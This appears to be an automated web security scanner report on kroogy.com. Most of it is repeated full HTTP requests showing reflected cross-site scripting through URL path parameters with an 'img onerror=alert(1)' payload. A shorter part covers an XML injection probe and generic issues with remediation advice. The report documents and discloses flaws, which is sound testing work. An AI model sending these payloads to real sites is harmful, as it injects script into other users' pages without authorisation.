GET /searchbef17<img%20src%3da%20onerror%3dalert(1)>1a3c051fc03/news?search=site%3Axss.cx&type=news&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web?search=site%3Axss.cx&type=web&fl=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.4.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4d34d<img%20src%3da%20onerror%3dalert(1)>c809307336 was submitted in the REST URL parameter 2. This input was echoed as 4d34d<img src=a onerror=alert(1)>c809307336 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/news4d34d<img%20src%3da%20onerror%3dalert(1)>c809307336?search=site%3Axss.cx&type=news&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web?search=site%3Axss.cx&type=web&fl=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.4.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7b56e<img%20src%3da%20onerror%3dalert(1)>023dea34fef was submitted in the REST URL parameter 1. This input was echoed as 7b56e<img src=a onerror=alert(1)>023dea34fef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search7b56e<img%20src%3da%20onerror%3dalert(1)>023dea34fef/noresults?search=site:xss.cx&type=news HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web?search=site%3Axss.cx&type=web&fl=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.4.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bf205<img%20src%3da%20onerror%3dalert(1)>b24b05ec673 was submitted in the REST URL parameter 2. This input was echoed as bf205<img src=a onerror=alert(1)>b24b05ec673 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/noresultsbf205<img%20src%3da%20onerror%3dalert(1)>b24b05ec673?search=site:xss.cx&type=news HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web?search=site%3Axss.cx&type=web&fl=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.4.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 898ad<img%20src%3da%20onerror%3dalert(1)>372477569b5 was submitted in the REST URL parameter 1. This input was echoed as 898ad<img src=a onerror=alert(1)>372477569b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search898ad<img%20src%3da%20onerror%3dalert(1)>372477569b5/random.php HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/emailafriend?url=http%3A%2F%2Fkroogy.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.6.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload be755<img%20src%3da%20onerror%3dalert(1)>f0101f7e97 was submitted in the REST URL parameter 2. This input was echoed as be755<img src=a onerror=alert(1)>f0101f7e97 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/random.phpbe755<img%20src%3da%20onerror%3dalert(1)>f0101f7e97 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/emailafriend?url=http%3A%2F%2Fkroogy.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.6.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 47c60<img%20src%3da%20onerror%3dalert(1)>af2c51e84c03eaa87 was submitted in the REST URL parameter 1. This input was echoed as 47c60<img src=a onerror=alert(1)>af2c51e84c03eaa87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 24b8a<img%20src%3da%20onerror%3dalert(1)>a30ab8d9c04aed8ef was submitted in the REST URL parameter 2. This input was echoed as 24b8a<img src=a onerror=alert(1)>a30ab8d9c04aed8ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 34153<img%20src%3da%20onerror%3dalert(1)>b5d3aca645c was submitted in the REST URL parameter 1. This input was echoed as 34153<img src=a onerror=alert(1)>b5d3aca645c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search34153<img%20src%3da%20onerror%3dalert(1)>b5d3aca645c/special?search=site%3Axss.cx&type=sports&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/noresults?search=site:xss.cx&type=news User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.5.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ae757<img%20src%3da%20onerror%3dalert(1)>d4b0d95427 was submitted in the REST URL parameter 2. This input was echoed as ae757<img src=a onerror=alert(1)>d4b0d95427 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/specialae757<img%20src%3da%20onerror%3dalert(1)>d4b0d95427?search=site%3Axss.cx&type=sports&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/noresults?search=site:xss.cx&type=news User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.5.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload bf3e5<img%20src%3da%20onerror%3dalert(1)>e2f2d6523e1 was submitted in the REST URL parameter 1. This input was echoed as bf3e5<img src=a onerror=alert(1)>e2f2d6523e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /searchbf3e5<img%20src%3da%20onerror%3dalert(1)>e2f2d6523e1/videos?search=site%3Axss.cx&type=videos&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/noresults?search=site:xss.cx&type=news User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.10.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 9b764<img%20src%3da%20onerror%3dalert(1)>cca99ab0549 was submitted in the REST URL parameter 2. This input was echoed as 9b764<img src=a onerror=alert(1)>cca99ab0549 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/videos9b764<img%20src%3da%20onerror%3dalert(1)>cca99ab0549?search=site%3Axss.cx&type=videos&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/noresults?search=site:xss.cx&type=news User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.10.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload aae05<img%20src%3da%20onerror%3dalert(1)>78d7029f299 was submitted in the REST URL parameter 1. This input was echoed as aae05<img src=a onerror=alert(1)>78d7029f299 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /searchaae05<img%20src%3da%20onerror%3dalert(1)>78d7029f299/web?search=site%3Axss.cx&type=web&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 15d5b<img%20src%3da%20onerror%3dalert(1)>f149c7a1f7f was submitted in the REST URL parameter 2. This input was echoed as 15d5b<img src=a onerror=alert(1)>f149c7a1f7f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/web15d5b<img%20src%3da%20onerror%3dalert(1)>f149c7a1f7f?search=site%3Axss.cx&type=web&fl=0 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b775d<img%20src%3da%20onerror%3dalert(1)>000d69d6685 was submitted in the REST URL parameter 1. This input was echoed as b775d<img src=a onerror=alert(1)>000d69d6685 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /searchb775d<img%20src%3da%20onerror%3dalert(1)>000d69d6685/web/N HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web/index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&type=3 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303658380.5.3.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=221607367.144172721.1303647943.1303653223.1303658380.5; __utmc=221607367; __utmb=221607367.1.10.1303658380
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 6a014<img%20src%3da%20onerror%3dalert(1)>fbf61a98918 was submitted in the REST URL parameter 2. This input was echoed as 6a014<img src=a onerror=alert(1)>fbf61a98918 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/web6a014<img%20src%3da%20onerror%3dalert(1)>fbf61a98918/N HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web/index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&type=3 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303658380.5.3.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=221607367.144172721.1303647943.1303653223.1303658380.5; __utmc=221607367; __utmb=221607367.1.10.1303658380
The value of the page request parameter is copied into the HTML document as plain text between tags. The payload f5010<img%20src%3da%20onerror%3dalert(1)>245c1d7e61a was submitted in the page parameter. This input was echoed as f5010<img src=a onerror=alert(1)>245c1d7e61a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/web/index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3Ef5010<img%20src%3da%20onerror%3dalert(1)>245c1d7e61a&type=3 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303658380.5.3.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=221607367.144172721.1303647943.1303653223.1303658380.5; __utmc=221607367; __utmb=221607367.1.10.1303658380
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Issue background
XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.
This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.
Issue remediation
The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <SCRIPT LANGUAGE="JavaScript"> function showcheckbox() { if(document.getElementByI ...[SNIP]... search").style.border="0px";
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET / HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
// =================================================================== // Author: Matt Kruse <matt@mattkruse.com> // WWW: http://www.mattkruse.com/ // // NOTICE: You may use this code for any purpos ...[SNIP]...
/* Prototype JavaScript framework * (c) 2005 Sam Stephenson <sam@conio.net> * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web sit ...[SNIP]...
6. HTML does not specify charsetprevious There are 15 instances of this issue:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
<HTML> <HEAD> <TITLE>404 Not Found</TITLE> </HEAD> <BODY> <H1>Not Found</H1> The requested document was not found on this server. <P> <HR> <ADDRESS> Web Server at kroogy.com </ADDRESS> </BODY> </HTML> ...[SNIP]...